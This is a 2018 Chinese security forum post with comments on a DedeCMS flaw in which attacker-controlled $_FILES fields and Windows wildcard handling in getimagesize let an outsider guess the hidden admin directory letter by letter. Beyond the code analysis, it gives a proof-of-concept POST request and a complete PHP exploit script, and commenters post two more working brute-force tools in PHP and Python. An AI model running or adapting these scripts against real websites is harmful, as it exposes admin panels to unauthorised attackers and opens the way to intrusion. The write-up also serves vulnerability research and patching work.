解决DEDECMS历史难题--找后台目录
phpice 漏洞分析 41634浏览 · 2018-02-26 01:18

利用限制

  • 仅针对windows系统

进入正题

首先看核心文件common.inc.php 大概148行左右

if($_FILES)
{
    require_once(DEDEINC.'/uploadsafe.inc.php');
}

uploadsafe.inc.php

if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
{
    exit('Request var not allow for uploadsafe!');
}
$$_key = $_FILES[$_key]['tmp_name']; //获取temp_name 
${$_key.'_name'} = $_FILES[$_key]['name'];
${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
    if(!defined('DEDEADMIN'))
    {
        exit('Not Admin Upload filetype not allow !');
    }
}
if(empty(${$_key.'_size'}))
{
    ${$_key.'_size'} = @filesize($$_key);
}
$imtypes = array
(
    "image/pjpeg", "image/jpeg", "image/gif", "image/png", 
    "image/xpng", "image/wbmp", "image/bmp"
);
if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
    $image_dd = @getimagesize($$_key); 
    //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
    if (!is_array($image_dd))
    {
        exit('Upload filetype not allow !');
    }
}
......

注意$$_key这一句,变量$key取自于$_FILE,由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)

本人出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。

修正一处笔误。
但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。

if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
    {   
        if(!defined('DEDEADMIN'))
        {
            exit('Not Admin Upload filetype not allow !');
        }
    }
    这个判断只需要设置${$_key.'_name'} 的值为0或者1.jpg 含点“ . ” 既可以绕过 如:_FILES[b4dboy][name]=1.jpg

最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。

当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !

举个例子

文字不好表达,便于理解。

<?php
// ./dedecms/favicon.ico
if(@getimagesize($_GET['poc'])){
    echo 1;
}else {
    echo 0;
}
?>
get:
http://localhost/test.php?poc=./d</favicon.ico
返回:1

http://localhost/test.php?poc=./a</favicon.ico
返回:0

http://localhost/test.php?poc=./de</favicon.ico
返回:1

http://localhost/test.php?poc=./ded</favicon.ico
返回:1

........

构造poc

http://localhost/dedecms/tags.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例

当目录存在点时候: 图1


当目录不存在点时候: 图2

EXP:

<?php
$domain='http://localhost/dedecms/';
$url=$domain.'/index.php';
function post($url, $data, $cookie = '') {
    $options = array(
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_HEADER => true,
        CURLOPT_POST => true,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_COOKIE => $cookie,
        CURLOPT_POSTFIELDS => $data,
    );
    $ch = curl_init($url);
    curl_setopt_array($ch, $options);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}
$testlen=25;
$str=range('a','z');
$number=range(0,9,1);
$dic = array_merge($str, $number);
$n=true;
$nn=true;
$path='';
while($n){
    foreach($dic as $v){
        foreach($dic as $vv){
            #echo $v.$vv .'----';
            $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
            $result=post($url,$post_data);
            if(strpos($result,'Upload filetype not allow !') === false){
                $path=$v.$vv;$n=false;break 2;
            }
        }
    }
}
while($nn){
    foreach($dic as $vvv){
        $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
        $result=post($url,$post_data);
        if(strpos($result,'Upload filetype not allow !') === false){
            $path.=$vvv;
            echo $path . PHP_EOL;
            $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
            if(@file_get_contents($giturl)){
                echo $domain.'/'.$path.'/';
                $nn=false;break 2;
            }
        }
    }
}
?>

感谢

感谢给我提供这个思路的朋友

参考文章

https://www.t00ls.net/viewthread.php?tid=27472

http://onsec.ru/onsec.whitepaper-02.eng.pdf

https://www.t00ls.net/viewthread.php?tid=25843

18 条评论
某人
表情
可输入 255
王者的丈母娘啊
2018-11-21 16:57 0 回复

跑出无限循环是因为打过补丁了。


bibishrimp
2018-06-18 07:53 0 回复

单纯的爆破目录前两位会不会不充分?


( 代表任意字符)

如果我把后台目录设为include_


又或者我把目录设为 imaz***

求大神爆破:


phpice
2018-03-02 07:34 0 回复

@mochazz 我觉得poc最好还是加上文章的来路比较好


phpice
2018-03-02 07:21 0 回复

@82680****@qq.com

感谢指出问题,其实这里描述有问题,这里想说的是_FILES[b4dboy][name]=0 或者含 "."

既可以绕过

if(!empty(${$_key.'_name'}) && (preg_match("#.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#.#", ${$_key.'_name'})) )

{

if(!defined('DEDEADMIN'))

{

exit('Not Admin Upload filetype not allow !');

}

}

这样就不会进入这个if语句里面。


unic0rn
2018-02-28 08:10 0 回复

@phpice 楼主,您的这句

“但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。”


这块是怎么绕过的我没太理解,理论上应该是存在DEDEADMIN这个值,函数返回ture,然后取反跳过if判断。那么tmp_name是怎么和DEDEADMIN联系起来的呢,而且您的poc的tmp_name也没传0,望解惑。@master 大佬如果知道希望可以指导一下。。。


master
2018-02-26 14:36 0 回复

@phpice @hades

另外我在测试的过程中发现作者有个小问题没有注意到,原POC:


http://localhost/dedecms/tags.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif

作者POST的是tags.php 属于根目录下的文件,在根目录下没有tags.php的情况下,需要找一个包含common.inc.php的文件,在这种情况下只能找二级目录下的文件,例如:/plus /include


那么如果根目录下不存在tags.php,POC的POST内同应该这样写


http://localhost/dedecms/plus/diy.php

post:

dopost=save&_FILES[b4dboy][tmp_name]=./../de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif


master
2018-02-26 13:25 0 回复

@25030@qq.com

哥们不好意思,应该是环境的问题,我Google了2-3个,发现都是000死循环,mochazz大神发出了py脚本,又出现问题,我想到可能是我找的测试站有问题,果然又找了5-10个,发现是前几个网站可能有问题,出现了找不到后台或者死循环的状况,具体出现死循环的状况,目前尚不知道什么问题,目标都是IIS,无WAF或者CDN,所以作者的利用限制没问题。

另外,原作者的EXP也没有问题,测试成功。


图一:原作者的exp


图二:@25030@qq.com 大神的修改版exp


图三:@mochazz大神的python版本exp


master
2018-02-26 12:56 0 回复

@25030@qq.com

就是按照你的使用方法,直接测试的。

F:\php>php dedeadmin1.php 5.6 http://www.test.com


F:\php>php dedeadmin1.php 5.7 http://www.test.com


00

000

0000

00000

000000

0000000

00000000

000000000

0000000000

00000000000

000000000000

0000000000000

00000000000000

000000000000000

0000000000000000


00000000000000000

000000000000000000

0000000000000000000


mochazz
2018-02-26 12:53 2 回复

#!/usr/bin/env python
'''/*
* author = Mochazz
* team = 红日安全团队
* env = pyton3
*
*/
'''
import requests
import itertools
characters = "abcdefghijklmnopqrstuvwxyz0123456789_!#"
back_dir = ""
flag = 0
url = "http://192.168.1.9/tags.php"
data = {
"_FILES[mochazz][tmp_name]" : "./{p}<</images/adminico.gif",
"_FILES[mochazz][name]" : 0,
"_FILES[mochazz][size]" : 0,
"_FILES[mochazz][type]" : "image/gif"
}

for num in range(1,7):
if flag:
break
for pre in itertools.permutations(characters,num):
pre = ''.join(list(pre))
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=pre)
print("testing",pre)
r = requests.post(url,data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
flag = 1
back_dir = pre
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
print("[+] 前缀为:",back_dir)
flag = 0
for i in range(30):
if flag:
break
for ch in characters:
if ch == characters[-1]:
flag = 1
break
data["_FILES[mochazz][tmp_name]"] = data["_FILES[mochazz][tmp_name]"].format(p=back_dir+ch)
r = requests.post(url, data=data)
if "Upload filetype not allow !" not in r.text and r.status_code == 200:
back_dir += ch
print("[+] ",back_dir)
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"
break
else:
data["_FILES[mochazz][tmp_name]"] = "./{p}<</images/adminico.gif"

print("后台地址为:",back_dir)

演示结果:


25030@qq.com
2018-02-26 09:57 0 回复

@master

你是如何运行脚本的?贴个图,帮助我修改程序


lz1y
2018-02-26 07:53 1 回复

前两位需要爆破的情况是因为,同目录下有个叫做data的文件夹,如果后台首字母是d,并且第二个字母比a排序靠后的话,爆破第一个字符的时候通配符就会匹配到data目录!!例如默认的dedecms!所以解决方法也很简单,d[a-z,0-9]这样子Fuzz,把第一位字符为d的情况都跑一下,然后页面正常的就是后台路径了。


master
2018-02-26 07:25 0 回复

@25030@qq.com


好像还是一直循环 0000000



25030@qq.com
2018-02-26 07:13 0 回复

楼主的程序似乎有点问题,我自己写了一个程序,分享一下。


<?php
/*
dedecms 后台地址爆破工具
使用程序时,必须指定dedecms的版本,例如:5.6
当你不确定dedecms版本时,请将5.6和5.7两个版本都尝试一遍,总有一个适合您!
Example: php.exe dedecms-exp.php 5.6 http://127.0.0.1/
*/

if(!isset($argv[1]) or !isset($argv[2])) {
exit("error!\r\nExample: php.exe dedecms-exp.php 5.6 http://127.0.0.1/");
}

$domain = $argv[2];
$url = $domain . '/tags.php';
$version = $argv[1];

$path = my_func($url);

if($path) {
while(($path = my_func($url, $path))) {
echo strtolower($path) . "\r\n";
}
}
else {
for($i = 48; $i <= 90; $i++) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
$path = my_func($url, chr($i));
while($path) {
echo strtolower($path) . "\r\n";
$path = my_func($url, $path);
}
}
}
}

exit();

function my_func($url, $path = '') {
$ch = curl_init($url);
$i = 48;
global $version;

while($i <= 90) {
if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
if($version != '5.7') {
/* v5.6版本及其以下 */
$admin_path = './' . $path . chr($i) . '</img/admin_top_logo.gif';
}
else {
/* v5.7版本 */
$admin_path = './' . $path . chr($i) . '</images/admin_top_logo.gif';
}

$data = 'dopost=save&_FILES[b4dboy][tmp_name]=' . $admin_path . '&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';

$options = array(
CURLOPT_USERAGENT => 'Firefox/58.0',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $data,
);

curl_setopt_array($ch, $options);

$response = curl_exec($ch);

if(!preg_match('/(Upload filetype not allow !)/i', $response)) {
$path = $path . chr($i);
return $path;
}
}

$i++;
}

curl_close($ch);
return false;
}

?>

hades
2018-02-26 05:05 0 回复

出自@坏虾:


前两位需要爆破一下




第三位 就可以一位一位查询了。

不然即使对了,结果也不正确。



有点问题是好的,避免完全伸手


king
2018-02-26 04:51 0 回复

exp运行无限循环